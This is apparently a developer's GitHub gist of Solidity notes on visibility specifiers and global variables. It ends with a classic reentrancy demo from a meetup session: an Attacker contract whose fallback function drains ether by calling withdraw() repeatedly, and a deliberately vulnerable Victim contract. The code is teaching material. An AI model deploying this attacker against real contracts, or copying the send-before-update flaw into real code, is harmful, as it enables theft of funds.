Skip to content

Instantly share code, notes, and snippets.

@pllearns
Last active February 2, 2018 03:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pllearns/f8fb41413c84638e873721baec89be4e to your computer and use it in GitHub Desktop.
Save pllearns/f8fb41413c84638e873721baec89be4e to your computer and use it in GitHub Desktop.
Solidity Notes

State Machine

Contracts often act as a state machine, which means that they have certain stages in which they behave differently or in which different functions can be called. A function call often ends a stage and transitions the contract into the next stage (especially if the contract models interaction). It is also common that some stages are automatically reached at a certain point in time. Function modifiers can be used in this situation to model the states and guard against incorrect usage of the contract.

Function Visibility Specifiers

--- Important to use especially for understanding message calls, function visibility, and default getter behavior
  • public: visible externally and internally (creates a getter function for storage/state variables)
    • Make your state variables public - the compiler will create getters for you automatically. Remix will also display a warning when you don't specify a visibility (defaults to public, but better to specify)
  • private: only visible in the current contract
  • external: only visible externally (only for functions) - i.e. can only be message-called (via this.func)
  • internal: only visible internally

Global Variables

Good for refrence --- also available on the Solidity docs.

  • block.blockhash(uint blockNumber) returns (bytes32): hash of the given block - only works for 256 most recent blocks
  • block.coinbase (address): current block miner’s address
  • block.difficulty (uint): current block difficulty
  • block.gaslimit (uint): current block gaslimit
  • block.number (uint): current block number
  • block.timestamp (uint): current block timestamp
  • msg.data (bytes): complete calldata
  • msg.gas (uint): remaining gas
  • msg.sender (address): sender of the message (current call)
  • msg.value (uint): number of wei sent with the message
  • now (uint): current block timestamp (alias for block.timestamp)
  • tx.gasprice (uint): gas price of the transaction
  • tx.origin (address): sender of the transaction (full call chain)
  • assert(bool condition): abort execution and revert state changes if condition is false (use for internal error)
  • require(bool condition): abort execution and revert state changes if condition is false (use for malformed input or error in external component)
  • revert(): abort execution and revert state changes
  • keccak256(...) returns (bytes32): compute the Ethereum-SHA-3 (Keccak-256) hash of the (tightly packed) arguments
  • sha3(...) returns (bytes32): an alias to keccak256
  • sha256(...) returns (bytes32): compute the SHA-256 hash of the (tightly packed) arguments
  • ripemd160(...) returns (bytes20): compute the RIPEMD-160 hash of the (tightly packed) arguments
  • ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) returns (address): recover address associated with the public key from elliptic curve signature, return zero on error
  • addmod(uint x, uint y, uint k) returns (uint): compute (x + y) % k where the addition is performed with arbitrary precision and does not wrap around at 2**256
  • mulmod(uint x, uint y, uint k) returns (uint): compute (x * y) % k where the multiplication is performed with arbitrary precision and does not wrap around at 2**256
  • this (current contract’s type): the current contract, explicitly convertible to address
  • super: the contract one level higher in the inheritance hierarchy
  • selfdestruct(address recipient): destroy the current contract, sending its funds to the given address
  • suicide(address recipient): an alias to selfdestruct
  • .balance (uint256): balance of the Address in Wei
  • .send(uint256 amount) returns (bool): send given amount of Wei to Address, returns false on failure
  • .transfer(uint256 amount): send given amount of Wei to Address, throws on failure
// The contract that will attack the victim's contract "recursively" until the victim has run out of ether
pragma solidity ^0.4.8;
import './ReentrancyVictim.sol';
contract Attacker {
Victim victim;
function Attacker(address victimAddress) {
victim = Victim(victimAddress);
}
function attack() {
victim.withdraw();
}
// Fallback function which is called whenever Attacker receives ether
function () payable {
if (victim.balance >= msg.value) {
victim.withdraw();
}
}
}
// Part of my notes from Oakland Blockchain Developers Reentrancy Attack session and a little history for me to refer to.
pragma solidity ^0.4.8;
contract Victim {
uint withdrawableBalance = 2 ether;
function withdraw() {
if (!msg.sender.call.value(withdrawableBalance)()) {
throw;
}
withdrawableBalance = 0;
}
function deposit() payable {
withdrawableBalance = msg.value;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment